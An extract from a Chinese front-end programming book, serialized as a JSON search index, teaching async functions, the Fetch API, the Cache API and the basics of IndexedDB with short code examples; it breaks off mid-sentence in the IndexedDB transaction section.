函数用法举例 通过上面的学习对 Async 函数的语法和功能有了一定的了解之后，接下来我们准备几个示例来加深理解。 常规用法 在本示例中，将演示如何定义并使用异步函数、读取异步数据、捕获异步异常等等。 这个示例演示了这样一个过程，首先执行 getRandomNumber() 异步地获取一个 0 - 1 之间的随机数，然后送入 shouldLargerThan() 方法进行检查，当随机数小于给定的数值 0.5 时，抛出异常，反之则通过。 首先简单实现 getRandomNumber 和 shouldLargerThan 的功能： // 一秒后返回一个 0 - 1 的随机数 async function getRandomNumber () { await sleep(1000) return Math.random() } // 一秒后查看传入的数字是否大于期望值 spec async function shouldLargerThan (spec, num) { await sleep(1000) // 当数值小于 0.5 时抛出异常 if (num 接下来就可以定义执行整个异步过程的 Async 函数 run()： async function run () { // 获取异步数据 let num = await getRandomNumber() console.log(num) try { await shouldLargerThan(0.5, num) } catch (e) { // 捕获异常 // 打印 '小于 0.5' console.error(e) } console.log('结束') } run().then(() => console.log('任务全部执行完毕')) // ... （等待 1s） // 0.3（假设生成的随机数为 0.3） // ... （等待 1s） // 小于 0.5 // 结束 // 任务全部执行完毕 顺序执行异步操作 首先我们定义 3 个异步执行的任务，他们都会在任务开始的时候打印任务开始信息，等待一秒之后再打印任务结束信息。 async function task1 () { console.log('Task1 开始') await sleep(1000) console.log('Task1 结束') } async function task2 () { console.log('Task2 开始') await sleep(1000) console.log('Task2 结束') } async function task3 () { console.log('Task3 开始') await sleep(1000) console.log('Task3 结束') } 如果我们需要按顺序依次执行这些任务，根据前面所学内容，可以利用 await 表达式实现： async function main () { await task1() await task2() await task3() } main() // Task1 开始 // ... （等待 1s） // Task1 结束 // Task2 开始 // ... （等待 1s） // Task2 结束 // Task3 开始 // ... （等待 1s） // Task3 结束 我们可以使用 for 循环来简化这一过程，下面的示例展示了使用 for 循环实现同样的效果，读者可以自行尝试使用 for...of 或者 while 等循环语句实现： async function main () { const tasks = [task1, task2, task3] for (let i = 0; i 需要注意的是，这里的 for 循环无法用 forEach 代替，这是因为 forEach 只会同步执行它的回调函数，不会受到 await 的阻塞影响： tasks.forEach(async task => await task()) // 等价于 for (let task of tasks) { task() } 并发执行异步操作 假设我们需要这些任务并行执行，那么不使用 await 表达式就能够实现： function main () { task1() task2() task3() } main() // Task1 开始 // Task2 开始 // Task3 开始 // ... （等待 1s） // Task1 结束 // Task2 结束 // Task3 结束 上面的函数可以使用 for/while/forEach 等等各种循环方法来进行简化： function main () { const tasks = [task1, task2, task3] tasks.forEach(task => task()) } 假设我们需要在所有的任务全部完成之后去执行某些操作，那么可以结合 Promise.all 方法实现： async function main () { await Promise.all([ task1(), task2(), task3() ]) console.log('任务全部执行完毕') } main() // Task1 开始 // Task2 开始 // Task3 开始 // ... 等待 1s // Task1 结束 // Task2 结束 // Task3 结束 // 任务全部执行完毕 我们也可以利用 Array.map 来简化这一过程： async function main () { const tasks = [task1, task2, task3] const promises = tasks.map(task => task()) await Promise.all(promises) console.log('任务全部执行完毕') } Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter03/3-fetch-api.html\":{\"url\":\"chapter03/3-fetch-api.html\",\"title\":\"3.3 Fetch API\",\"keywords\":\"\",\"body\":\"Fetch API Fetch API 是目前最新的异步请求解决方案，它在功能上与 XMLHttpRequest（XHR）类似，都是从服务端异步获取数据或资源的方法。对于有过 AJAX 开发经验的读者应该深有体会，基于 XHR 的异步请求方法在实现上比较复杂。下面简单演示如何通过 XHR 发送异步请求： // 实例化 XMLHttpRequest let xhr = new XMLHttpRequest() // 定义加载完成回调函数，打印结果 xhr.onload = function () { console.log('请求成功') } // 定义加载出错时的回调函数，打印错误 xhr.onerror = function (err) { console.error('请求失败') } // 设置请求目标 xhr.open('GET', '/path/to/text', true) // 开始发起请求 xhr.send() 从上面的代码当中可以感受到，基于事件回调机制的 XHR 在编程实现的思路上非常反思维，要实现这样一个简单的 GET 请求所需代码较多，一旦功能变得复杂很容易会造成混乱。因此在实际应用当中，一般会选择封装好的函数进行使用，比如较为常见的是 jQuery 所提供的 $.ajax 方法。 接下来使用 Fetch API 来实现上述功能： fetch('/path/to/text', {method: 'GET'}) .then(response => { console.log('请求成功') }) .catch(err => { console.error('请求失败') }) 经过对比可以发现，在使用 Fetch API 之后，代码逻辑变得更清晰，所需的代码也变得更少。当然 Fetch API 的优点还不止这些，在本节的内容当中，将逐步对 Fetch API 进行更加深入的学习。 兼容性 Fetch API 的标准目前由 WHATWG 组织进行制定与维护，虽然尚未纳入 W3C 规范当中，但从 Can I Use 网站的统计数据来看，各大主流浏览器已经基本上实现了对 Fetch API 的支持。 对于尚未支持或支持度不完整的浏览器，开源社区也提供了相关 Polyfill，开发者可以通过 npm 进行安装和使用： npm install --save whatwg-fetch 安装完成之后，只需在 JS 入口文件引入 Polyfill 即可： import 'whatwg-fetch' // 引入 polyfill 之后，就可以正常使用 Fetch API 了 window.fetch(/* 相关参数 */) 对于不使用 npm 的项目，也可以到 whatwg-fetch 的 GitHub 主页直接下载并使用 fetch.umd.js 文件。 概念和用法 Fetch API 首先提供了网络请求相关的方法 fetch()，其次还提供了用于描述资源请求的 Request 类，以及描述资源响应的 Response 对象，这样就能够以一种统一的形式将资源的请求与响应过程应用到更多的场景当中。 fetch() Fetch API 提供了 fetch() 用来发起网络请求并获得资源响应。它的使用方法非常简单，相关语法如下所示： fetch(request).then(response => {/* 响应结果处理 */}) 可以看到，fetch() 需要传入一个 Request 对象作为参数，fetch() 会根据 request 对象所描述的请求信息发起网络请求；由于网络请求过程是个异步过程，因此 fetch() 会返回 Promise 对象，当请求响应时 Promise 执行 resolve 并传回 Response 对象。 除了直接以 Request 对象作为参数之外，fetch() 还支持传入请求 URL 和请求配置项的方式，fetch() 会自动根据这些参数实例化 Request 对象之后再去发起请求，因此以下代码所展示的请求方式都是等价的： fetch(new Request('/path/to/resource', {method: 'GET'})) // 等价于 fetch('/path/to/resource', {method: 'GET'}) 需要注意的是，fetch() 只有在网络错误或者是请求中断的时候才会抛出异常，此时 Promise 对象会执行 reject 并返回错误信息。因此对于 fetch() 来说，服务端返回的 HTTP 404、500 等状态码并不认为是网络错误，因此除了检查 Promise 是否 resolve 之外，还需要检查 Response.status、Response.ok 等属性以确保请求是否成功响应。下面的示例代码通过检查响应 status 是否为 200 来判断请求是否成功： fetch('/path/to/resource').then(response => { if (response.status === 200) { // 请求成功 } else { // 请求失败 } }) .catch(err => { // 网络请求失败或请求被中断 }) Request Request 是一个用于描述资源请求的类，通过 Request() 构造函数可以实例化一个 Request 对象，其语法如下所示： let request = new Request(input, init) 其中，input 代表想要请求的资源，可以是资源的 URL，或者是描述资源请求的 Reqeust 对象；init 为可选参数，可以用来定义请求中的其他选项。可以注意到，Request 构造函数所需参数与 fetch() 方法的参数是一样的。下面将通过一些例子来演示一些常见请求类型的实例化方法： 1.GET 请求，请求参数需要写到 URL 当中。 let getRequest = new Request('/api/hello?name=lilei', { method: 'GET' }) 2.POST 请求，请求参数需要写到 body 当中。 let postRequest = new Request('/api/hello', { method: 'POST', // body 可以是 Blob、FormData、字符串等等 body: JSON.stringify({ name: 'lilei' }) }) 3.自定义请求的 Headers 信息。 let customRequest = new Request('/api/hello', { // 这里展示请求 Content-Type 为 text/plain 的资源 headers: new Headers({ 'Content-Type': 'text/plain' }) }) 4.设置发起资源请求时带上 cookie。 let cookieRequest = new Request('/api/hello', { credentials: 'include' }) init 对象还可以配置其他参数，此处先不做展开，在后续的内容当中会针对一些特定参数做进一步说明。 由于在后面实现资源请求的拦截代理时，需要对拦截的请求进行判断分类，也就是对 Request 对象的属性进行检查，因此介绍一下 Request 对象常用的几个属性： url：String 类型，只读，请求的 url； method：String 类型，只读，请求的方法，如 'GET'，'POST' 等； headers：Headers 类型，只读，请求的头部，可通过 get() 方法获取 'Content-Type'，'User-Agent' 等信息。 下面举例使用以上属性对请求进行判断： if (request.url === 'https://example.com/data.txt') { // ... } if (request.method === 'POST') { // ... } if (reuqest.headers.get('Content-Type') === 'text/html') { // ... } Response Response 类用于描述请求响应数据，通过 Response() 构造函数可以实例化一个 Response 对象，其实例化语法如下所示： let response = new Response(body, init) 其中 body 参数代表请求响应的资源内容，可以是字符串、FormData、Blob 等等；init 为可选参数对象，可用来设置响应的 status、statusText、headers 等内容。下面举例说明如何构造一个 index.js 的响应： let jsResponse = new Response( // index.js 的内容为，在控制台打印 \\\"Hello World!\\\" 'console.log(\\\"Hello World!\\\")', { // 定义状态码为请求成功 status: 200, // 通过 headers 定义 JS 的 Content-Type headers: new Headers({ 'Content-Type': 'application/x-javascript' }) } ) 在实际应用当中，我们一般会通过 fetch()、Cache API 等等获得请求响应对象，然后再对响应对象进行操作。 判断请求是否成功 前面在介绍 fetch() 时提到，对于服务端返回 HTTP 404、500 等错误码 fetch() 不会将其当成网络错误，这时就需要对 Response 对象的相关属性进行检查。 status：Number 类型，包含了 Response 的状态码信息，开发者可以直接通过 status 属性进行状态码检查，从而排除服务端返回的错误响应； statusText：String 类型，包含了与状态码一致的状态信息，一般用于解释状态码的具体含义； ok：Boolean 类型，只有当状态码在 200-299 的范围时，ok 的值为 true。 除了上述提到的属性之外，也同样可以借助 headers 等属性进行辅助判断，具体检查方式与实际需求有关。下面举例如何使用 ok 和 status 进行判断： if (response.ok || response.status === 0) { // status 为 0 或 200-299 均代表请求成功 } else { // 请求失败 } 读取响应体 Fetch API 在设计的时候就采用了数据流的形式去操作请求体和响应体，这样在传输大数据或大文件时会非常有优势。Response 的 body 属性暴露了一个 ReadableStream 类型的响应体内容。Response 提供了一些方法来读取响应体： text()：解析为字符串； json()：解析为 JSON 对象； blob()：解析为 Blob 对象； formData()：解析为 FormData 对象； arrayBuffer()：解析为 ArrayBuffer 对象 这些方法读取并解析响应体的数据流属于异步操作，因此这些方法均返回 Promise 对象，当读取数据流并解析完成时，Promise 对象将 resolve 并同时返回解析好的结果。下面的示例将简单演示如何读取 JSON 格式的响应体： // 构造 Response 对象 let response = new Response(JSON.stringify({name: 'lilei'})) // 通过 response.json() 读取请求体 response.json().then(data => { console.log(data.name) // 打印 'lilei' }) 由于 Response 的响应体是以数据流的形式存在的，因此只允许进行一次读取操作。通过检查 bodyUsed 属性可以知道当前的 Response 对象是否已经被读取： let response = new Response(JSON.stringify({name: 'lilei'})) console.log(response.bodyUsed) // false response.json().then(data => { console.log(response.bodyUsed) // true }) 由于二次读取响应体内容会导致报错，因此为了保险起见，可以在进行响应体读取前首先判断 bodyUsed 属性再决定下一步操作。 拷贝 Response Response 提供了 clone() 方法来实现对 Response 对象的拷贝： let clonedResponse = response.clone() clone() 是一个同步方法，克隆得到的新对象在所有方面与原对象都是相同的。在这里需要注意的是，如果 Response 对象的响应体已经被读取，那么在调用 clone() 方法时会报错，因此需要在读取响应体读取前进行克隆操作。 Fetch API 与 XHR 的对比 通过上面的介绍可以发现，从功能上看，Fetch API 和 XHR 做的事情都是相似的，都实现了异步请求与资源获取。但从 API 的具体使用和实现方式上，两者存在着较大区别： 1.Fetch API 的异步机制更为先进 XHR 采用回调机制实现异步，这种机制不太符合人脑线性的思维方式，在较为复杂的异步场景中如果存在大量的回调，很容易带来代码可读性差的问题。当然我们也可以利用 Promise 将 XHR 包装成返回 Promise 对象的函数来解决上述问题，但这种封装的函数毕竟不如原生方法来得简洁。 Fetch API 则直接采用 Promise 实现异步机制，通过链式调用 Promise.then() 方法，就能够直接按照线性的思维去组织异步操作中的每个步骤，同时借助 Promise.all、Promise.race 等方法，还能够高效地组织多个异步操作来实现更为复杂的功能。 2.Fetch API 更为简洁 在使用 XHR 进行异步请求时会发现，XHR 实例属性包含了请求描述、响应描述，以及各种事件、请求操作方法等等，显得相当混乱。 Fetch API 在设计的时候不仅仅实现了 fetch() 这个方法，还根据异步请求中所需要的数据格式拆分出 Request、Response、Headers、Body 等一系列原生对象，彼此各司其职，符合关注点分离原则，因此在使用上会显得更加简洁，更加语义化。 3.Fetch API 的应用范围更广 目前 XHR 已经无法在 Service Worker 作用域下进行使用，在 Service Worker 作用域当中发起异步请求的方法只有 Fetch API。这也许只是个开始，XHR 在过去已经很好地完成它的历史使命，但由于 XHR 在设计上已经逐渐不适应现代编程理念，因此在未来 XHR 的应用范围将可能会变得越来越窄，而 Fetch API 这类基于新理念和新技术所设计的 API 将逐渐发挥出越来越重要的作用。 Fetch API 处理跨域请求 当涉及到前后端通信问题的时候，就不得不提请求跨域的情况。由于受到 Web 同源策略的影响，在使用 Fetch API 默认配置情况下发送异步请求，会受到跨域访问限制而导致资源请求失败。 我们通常采用跨域资源共享机制（CORS）来解决这个问题。在跨域服务端支持 CORS 的前提下，通过将 fetch() 的请求模式设置为“cors”，就可以简单地实现跨域请求。在这种请求模式下，返回的请求响应是完全可访问的： // 假设当前页面 URL 为 https://current.com fetch('https://other.com/data.json', { mode: 'cors' }) .then(response => { console.log(response.status) // 200 console.log(response.type) // 'cors' console.log(response.bodyUsed) // false return response.json() }) .then(data => { console.log(data.name) // 'lilei' }) 对于图片、JS、CSS 等等这些类型的静态资源，如果通过对应的 HTML 标签加载这类跨域资源，是不会受到同源策略限制的，因此一般来说，存放静态资源的服务器并不需要设置 CORS。这就会对 Fetch API 请求这类静态资源带来影响。在默认情况下 fetch() 的请求模式为“no-cors”，在这种模式下请求跨域资源并不会报错，但是返回的 Response 对象将变得不透明，type 属性将变成“opaque”，无论服务端所返回的真实 status 是多少，在这种情况下都会变成 0，其他属性也都无法正常访问： // 假设当前页面 URL 为 https://current.com fetch('https://other.com/data.json', { mode: 'no-cors' }) .then(response => { console.log(response.status) // 0 console.log(response.type) // 'opaque' console.log(response.headers) // Headers {} console.log(response.body) // null }) 此时唯一能正常工作的方法是 clone()，即实现对 Response 对象的拷贝，当然拷贝得到的新对象也同样是不透明的。这种模式比较适用于在 Service Worker 线程中拦截静态资源请求并复制一份缓存到本地，只要将这类不透明的请求响应返回主线程，依然是能够正常工作的。下面的代码演示了 Service Worker 拦截跨域图片资源并将资源缓存到本地，然后在 fetch() 出错的时候再从缓存中读取资源： // service-worker.js self.addEventListener('fetch', event => { // 判断当前拦截到的请求为跨域图片资源 if (event.request.url === 'https://other-site.com/pic.jpg') { event.respondWith( // 优先发送网络请求获取最新的资源 fetch(event.request.url, {mode: 'no-cors'}) .then(response => { // 将请求得到的响应进行缓存 // 此时缓存的资源是不透明的 caches.open('cache-storage') .then(cache => cache.put(event.request.url, response.clone())) // 返回请求响应结果 return response }) .catch( // 请求失败时再使用缓存资源进行兜底 () => caches.open('cache-storage') .then(cache => cache.match(event.request.url)) ) ) ) } }) 在这种情况下，图片资源的 Response 对象是不透明的，因此整个操作过程无法对图片资源响应做任何检查判断，只能直存直取。这就有可能将真实状态码为 404、500 等错误响应给缓存下来，因此在“no-cors”模式下缓存的跨域资源的可信度不高，最好作为各类请求策略的兜底资源进行使用。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter03/4-cache-api.html\":{\"url\":\"chapter03/4-cache-api.html\",\"title\":\"3.4 Cache API\",\"keywords\":\"\",\"body\":\"Cache API 在上一节 Fetch API 的介绍当中提到，Fetch API 提供了 Request、Response 等偏底层的类对象，这样就能够以统一的形式将资源的请求与响应过程应用到更多的场景当中。本节所介绍的 Cache API 就属于另一种资源请求与响应的场景，Cache API 提供了一系列方法实现了请求响应对象的缓存管理，因此它可以作为资源请求响应的缓存仓库，为 Service Worker 实现离线缓存提供基础支持。 接下来将介绍 Cache API 的使用方法。 兼容性检测 截止本书定稿之前，除了 IE 之外几乎所有主流浏览器的最新版本都支持了 Cache API，但保险起见，我们可以在主线程或者 Worker 线程中通过判断全局变量 caches 是否存在来检测浏览器是否支持 Cache API： if ('caches' in self) { console.log('当前环境支持 Cache API') } 打开 Cache 对象 通过 caches.open() 方法可以打开一个 Cache 对象，其语法为： caches.open(cacheName).then(cache => {/* 获得 Cache 对象 */}) 其中参数 cacheName 表示要打开的 Cache 对象的名称。该方法是异步方法，返回的 Promise 对象在 resolve 时会返回成功打开的 Cache 对象。打开 Chrome 开发者工具，切换到 Application - Cache Storage 选项卡可以观察到，在执行 caches.open() 方法时，会在 Cache Storage 下边建立同名仓库，每个仓库里面的内容就是操作对应的 Cache 对象后写入的资源缓存。 添加缓存 Cache 对象提供了 put()、add()、addAll() 三个方法来添加或者覆盖资源请求响应的缓存。需要注意的是，这些添加缓存的方法只会对 GET 请求起作用。 Cache.put(request, response) 资源请求响应在通过 Cache API 进行存储的时候，会以请求的 Request 对象作为键，响应的 Response 对象作为值，因此 put() 方法需要依次传入资源的请求和响应对象，然后生成键值对并缓存起来。下面举例说明它的使用方法： // 假设 cache 由 caches.open('v1') 打开 cache.put( new Request('/data.json'), new Response(JSON.stringify({name: 'lilei'})) ) 这样就给 v1 仓库写入了 '/data.json' 请求与响应的缓存。通过开发者工具可以明显地看到仓库当中新增的缓存条目信息： 同样，我们可以结合 Fetch API 来获取并存储服务端所返回的资源： fetch('/data.json').then(response => { if (response.ok) { cache.put(new Request('/data.json'), response) } }) 在 Fetch API 的章节中介绍了 Request 和 Response 都基于数据流实现，因此在进行缓存的时候需要格外留意 Response 对象的响应体数据是否已经被读取。 Cache.add(request) 和 Cache.addAll(requests) add() 和 addAll() 方法的功能类似于 Fetch API 结合 put() 方法实现对服务端资源的抓取和缓存。add() 和 addAll() 的区别在于，add() 只能请求和缓存一个资源，而 addAll() 能够抓取并缓存多个资源。有了这两个方法，缓存服务端资源将变得更为简单： cache.add('/data.json').then(() => {/* 缓存成功 */}) cache.addAll([ '/data.json', '/info.txt' ]) .then(() => {/* 缓存成功 */}) add() 和 addAll() 方法会缓存 Response.ok 为 true 的响应。同时请求跨域资源返回了不透明的 Response 对象，同样也会缓存下来。 查找缓存 cache.match() 和 cache.matchAll() 可以实现对缓存的查找。其中 match() 会返回第一个匹配条件的缓存结果，而 matchAll() 则会返回所有满足匹配条件的缓存结果。下面举例说明如何查找“/data.json”的缓存资源，相关代码如下所示： // 使用 match() 进行查找 cache.match('/data.json').then(response => { if (response == null) { // 没有匹配到任何资源 } else { // 成功匹配资源 } }) // 使用 matchAll() 进行查找 cache.matchAll('/data.json').then(responses => { if (!responses.length) { // 没有匹配到任何资源 } else { // 成功匹配到资源 } }) 上述查找方法可以传入第二参数来控制匹配过程，比如设置 ignoreSearch 参数，会在匹配过程中忽略 URL 中的 Search 部分，下面通过代码举例说明这一匹配过程： // 假设缓存的请求 URL 为 /data.json?v=1 cache.match('/data.json?v=2', {ignoreSearch: true}).then(response => { // 匹配成功 }) 在上面的例子当中，缓存的 URL 和用于匹配的 URL 都带有 Search 参数，但由于配置了 ignoreSearch 值为 true，因此最终仍然匹配成功。 获取匹配的请求 前面介绍的 match()、matchAll() 方法会返回匹配到的响应，但如果需要获取匹配到的请求，可以通过 cache.keys() 方法实现： cache.keys('/data.json', {ignoreSearch: true}).then(requests => { // requests 可能包含 /data.json、/data.json?v=1、/data.json?v=2 等等请求对象 // 如果匹配不到任何请求，则返回空数组 }) 如果没有传入任何参数，cache.keys() 会默认返回当前 Cache 对象中缓存的全部请求： cache.keys().then(requests => { // 返回全部请求对象 }) 删除缓存 通过 cache.delete() 方法可以实现对缓存的清理。其语法如下所示： cache.delete(request, options).then(success => { // 通过 success 判断是否删除成功 }) 比如要删除前面添加成功的“/data.json”请求，相关代码如下所示： cache.delete('/data.json').then(success => { // 将打印 true，代表删除成功 console.log(success) }) 假如删除一个未被缓存的请求，则执行删除后返回的 success 为 false： cache.delete('/no-cache.data').then(success => { // 将打印 false，代表删除失败 console.log(success) }) 在调用 cache.delete() 时可以传入第二参数去控制删除操作中如何匹配缓存，其格式与 match()、matchAll() 等匹配方法的第二参数一致。因此下面举例的删除过程能够忽略 Search 参数： // 假设缓存的请求 URL 为 /data.json?v=1.0.1 // 那么设置 ignoreSearch 之后同样也回删除该缓存 cache.delete('/data.json', {ignoreSearch: true}).then(success => { // /data.json?v=1.0.1 已被成功删除 }) Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter03/5-indexeddb.html\":{\"url\":\"chapter03/5-indexeddb.html\",\"title\":\"3.5 IndexedDB\",\"keywords\":\"\",\"body\":\"IndexedDB Cache Storage 是一种缓存管理的缓存空间，前面了解到了 Cache Storage 是基于键值对的方式缓存数据，是适用于存储和检索网络请求及响应的存储系统，不能提供搜索功能，不能建立自定义的索引。IndexedDB 是浏览器环境提供的本地数据库，允许存储大量的数据，提供查询接口，还能创建索引等等。在存储结构上，数据库是存储一系列相关数据的容器，在每个域名下都可以新建多个数据库。IndexedDB 是一个非关系型的数据库，和平时所知道的关系型数据库（如 MySQL 等）有一定的区别，关系型数据库的内容是以记录为单位存储的，也就是说一条记录代表一条数据，而数据中的结构管理是通过记录的字段来指定存储的，而 IndexedDB 里面没有表和记录的概念，它的数据的最小单位是 JavaScript 对象（object），object 在 IndexedDB 里的地位就跟关系型数据库里面的记录一样，是数据的最终体现形式。 数据库存储结构上，关系型数据库和 IndexedDB 都可以划分为三个层次。 第一层：两者都有 database 的概念，要存储数据，首先要创建一个数据库。 第二层：两者就有了区别，关系型数据库有表的概念，而 IndexedDB 对应的是 objectStore。简单的说就是，在数据库中开辟一块 store 用来存储 object，同样，一个数据库中可以有多个（甚至无限个）objectStore。 第三层：关系型数据库有记录的概念，而 IndexedDB 直接存放 JavaScript 的 object 数据对象。 IndexedDB 存储的 object 是结构化数据。简单理解就是，不能存 function 等非结构化的数据，object 必须是以键值对组成的字面对象。并且支持嵌套结构，也就是说 object 里面嵌套了 object，和 JavaScript 实现无缝对接。而同样是本地化存储的 localStorage 却需要对数据格式化为字符串后才能保存。 HTML5 API 规范提供了一套 IndexedDB API, 可以使用 indexedDB.open() 方法来打开或者创建数据库，如下面代码所示： // 如果有 mydb 这个数据库，就直接打开 // 如果没有，就会创建 mydb 数据库 let request = window.indexedDB.open('mydb', 1) indexedDB.open() 方法有两个参数，第一个参数为数据库名，第二个参数为数据库版本。 IndexedDB 简介 IndexedDB 和关系型数据库的不同，主要体现在数据库存储结构设计上和数据操作方式上。下面介绍一些 IndexedDB 一些基本的概念，可以快速的了解 IndexedDB 的大致架构设计。 数据库版本 从 indexedDB.open() 方法的参数来看，很容易注意到 IndexedDB 存在版本的概念。例如：当数据库的 version 为 1 时，创建了一些 objectStore，当需要添加新的 objectStore 或者修改某些 objectStore 的时候，就需要升级 version。这时可能有两个不同的 version 1 和 2. 此时用 indexedDB.open() 方法打开一个 version 的时候，得到的 db 容器对应的 objectStore 是不同的，如果此时还要打开 version 为 1 的数据库，那么在 version 为 2 中创建的 objectStore 和新增的 object 都是不存在的。由其可见新的 version 一般包含了老的 version。 通常在代码操作中，你要时刻保证你使用对了 version，它的使用场景只有两种： 当需要修改 objectStore 时 当需要添加新的 objectStore 时 从代码的层面来看，并非这两个事情发生才触发了 version 的改变，恰恰相反，如果要修改或添加 objectStore，必须通过传递新的 version 参数到 indexedDB.open() 方法中，触发 onupgradeneeded 事件，在 onupgradeneeded 的回调函数中才能实现目的。从项目的开发上讲，只会在重新发布代码时去升级 version，而不会在程序运行过程中通过程序去更改 version。升级 version，是为了对数据库结构进行修改。 数据库容器 IndexedDB 中非常重要的概念是 transaction（事务），不过会在后面具体介绍事务。这里只需要了解一下调用 indexedDB.open() 方法之后如何操作数据库。要想操作 IndexedDB 数据，必须先创建一个数据库容器。操作数据库的存储结构以及数据的内容，都是要在数据库容器的基础上进行的，那怎么获得数据库容器呢？如下代码所示： let request = window.indexedDB.open('mydb', 1) request.onsuccess = e => { // db 就是数据库容器 let db = e.target.result // 使用 db 数据库容器，可以接着做一些数据处理 ... } IndexedDB 数据库的事件回调中都会在事件对象中带有数据库容器对象，可以通过 event.target.result 获取，在这个例子中是在 IndexedDB 数据库打开或者创建成功后通过 onsuccess 事件回调获取到了数据库容器。 对象仓库 objectStore 是 IndexedDB 中非常核心的概念，在前面的介绍中，也知道了它是数据的存储仓库，一个 objectStore 类似于关系型数据库中的表，存放着相关的所有数据。所谓的 “相关” 是指，这些 object 必须具备相同的一个属性名，也就是主键 ，在 IndexedDB 中被称之为 keyPath。这还有点像关系型数据库中的 primaryKey，不过关系型数据库中不必一定有 primaryKey，而 objectStore 中的 keyPath 必须有。 如果存入的某个 object 不存在那个属性，而该属性在 IndexedDB 中又不是 autoIncrement，那么就会报错，如果 autoIncrement 被设置为 true，在没有该 key 的情况下，存入数据库的时候，会被自动添加上，这个效果跟关系型数据的自增字段是一样的。 在使用事务对 objectStore 进行操作前，需要创建对应的 objectStore。创建 objectStore 和修改 objectStore 都只能在 db 的 onupgradeneeded 事件中进行，因此要创建 objectStore 必须在 indexedDB.open() 操作之后来进行，如下代码所示： let request = window.indexedDB.open('mydb', 1) request.onupgradeneeded = e => { let db = e.target.result db.createObjectStore('mystore', {keyPath: 'id'}) } 上面的代码中使用 db.createObjectStore() 方法来实现 objectStore 的创建。但是需要注意的是，一个 db 中是不允许同名的 objectStore 的，因此，如果第二次通过 createObjectStore() 创建相同名的 objectStore，程序会报错。 另外，一旦一个 objectStore 被创建，它的 name 和 keyPath 是不能修改的。可以通过 db.objectStoreNames 属性来判断是否已经存在同名的 objectStore 可以避免这个问题，如下代码所示： let request = window.indexedDB.open('mydb', 2) request.onupgradeneeded = e => { let db = e.target.result let objectStore // 如果不存在同名的 Store，就创建一个 if (!db.objectStoreNames.contains('mystore')) { objectStore = db.createObjectStore('mystore', {keyPath: 'id'}) } else { // 如果存在同名的 store，就直接取出来 objectStore = e.target.transaction.objectStore('mystore') } } 索引 在 IndexedDB 中也存在索引，但和关系型数据库中索引的作用不同，关系型数据库中的索引是对指定字段进行特殊记录，以方便在检索时提高检索性能。IndexedDB 中的索引，是指在除了设置的 keyPath 之外，提供其他的检索方式。在 IndexedDB 中，objectStore.get() 方法用来获取某一条数据，但是它的默认的参数是 keyPath 对应的值。而如果要用其他的字段来检索某个 object，那就麻烦了，所以 IndexedDB 提供了索引的方式，通过一个 index 方法来实现索引检索。所以看起来 objectStore 的索引，等效于关系型数据库中的表的字段。 前面反复提到 keyPath 这个概念。在前面的代码里面可以发现在 db.createObjectStore() 的时候，可以指定一个 keyPath。实际上，keyPath 的概念非常简单，它规定了必须要把 object 属性作为检索的入口。如 objectStore 中有一堆对象，如下所示： { id: 1, name: 'data1' } { id: 2, name: 'data2' } 如上代码所示，设置的 keyPath 为 id, 可以通过 objectStore.get(1) 方法来获取 keyPath 为 id = 1 的那条数据，因此，id 对于所有 object 而言是应该是唯一的。需要在建立索引的时候，传入一个 unique 参数确保唯一，所以实际上 db.createObjectStore() 的时候传入的 keyPath 是一个特殊的索引。创建索引实际上是对 objectStore 进行修改，因此，只能在数据库的 onupgradeneeded 事件中处理，如下代码所示： let request = window.indexedDB.open('mydb', 3) request.onupgradeneeded = e => { let db = e.target.result // 注意这里应该进行判断是否已经存在这个 objectStore，在这里略过 let objectStore = db.createObjectStore( 'mystore', {keyPath: 'id'} ) // 创建 id 为索引 objectStore.createIndex('id', 'id', {unique: true}) } objectStore 对象有一个 createIndex() 方法，它可以创建索引。它有三个参数: 第一个参数是这个索引的 name。 第二个参数是 key，这个 key 对应的就是 object 的属性名，name 是可以自己定的，它会用在后面的 index 方法中进行检索，也会被记录在 objectStore 的 indexNames 属性里面，但是 key 必须和 object 的属性对应。 第三个参数是 options，其中 unique 选项被放在这里面。 objectStore 本身的信息是不能修改的，例如 name 和 keyPath 都是不能修改的，但是它所拥有的索引可以被修改，修改其实就是删除或添加操作。删除用到的就是 objectStore.deleteIndex() 这个方法，如果想修改一个索引，要做的就是先删除掉原来的同名索引，然后添加新的索引，如下面代码所示： let request = window.indexedDB.open('mydb', 4) request.onupgradeneeded = e => { // 从事务中获取已经存在的 objectStore let objectStore = e.target.transaction.objectStore('mystore') let indexNames = objectStore.indexNames // 先删除对应的索引 if (indexNames.includes('name')) { objectStore.deleteIndex('name') } // 再重新创建一个新的同名索引 objectStore.createIndex('name', 'name', {unique: false}) } 事务 所有数据库中都有事务这个概念，它是为了确保当某些操作部分执行时不致混乱。举个简单的例子，当你转账给别人的时候，发起了一个请求，你的银行就操作从数据库里把相应的钱扣掉，但是这时候银行机房出问题了，你朋友的银行并没有收到这个转入的请求，那岂不是会出现你的钱已经扣了，但是别人并没有收到的情况？ 数据库系统为了避免这种情况，采用事务机制，如果出错那就回滚，把你打出去但对方没收到的钱回到你账上，重新再执行一次打钱的操作，这样就保证了数据库增删改有序不混乱。 IndexedDB 里面的事务也是一样，保证了所有操作（特别是写入操作）是按照一定的顺序进行，不会导致同时写入的问题。另外，IndexedDB 强制规定了任何 object 读写的操作都必须在一个事务中进行。从前面的代码里面你也看到了，对 objectStore 的修改其实也是在一个事务中进行。 在代码层面必须通过 db.transaction() 方法向数据库容器提出事务要求，才能对具体的 objectStore 进行数据处理： let request = window.indexedDB.open('mydb', 5) request.onsuccess = e => { let db = e.target.result let transaction = db.transaction( ['myObjectStore'], 'readonly' ) let objectStore = transaction.objectStore('myObjectStore') let objectRequest = objectStore.get('111') objectRequest.onsuccess = e => { // 获取到的数据 let object = e.target.result } } 上面这段代码的操作，得到了具体要进行操作的 objectStore，这与直接通过 db.objectStore('myObjectStore') 这样简洁的方法完全不同，IndexedDB 中不能这么直接去获取 objectStore，而必须通过 db.transaction() 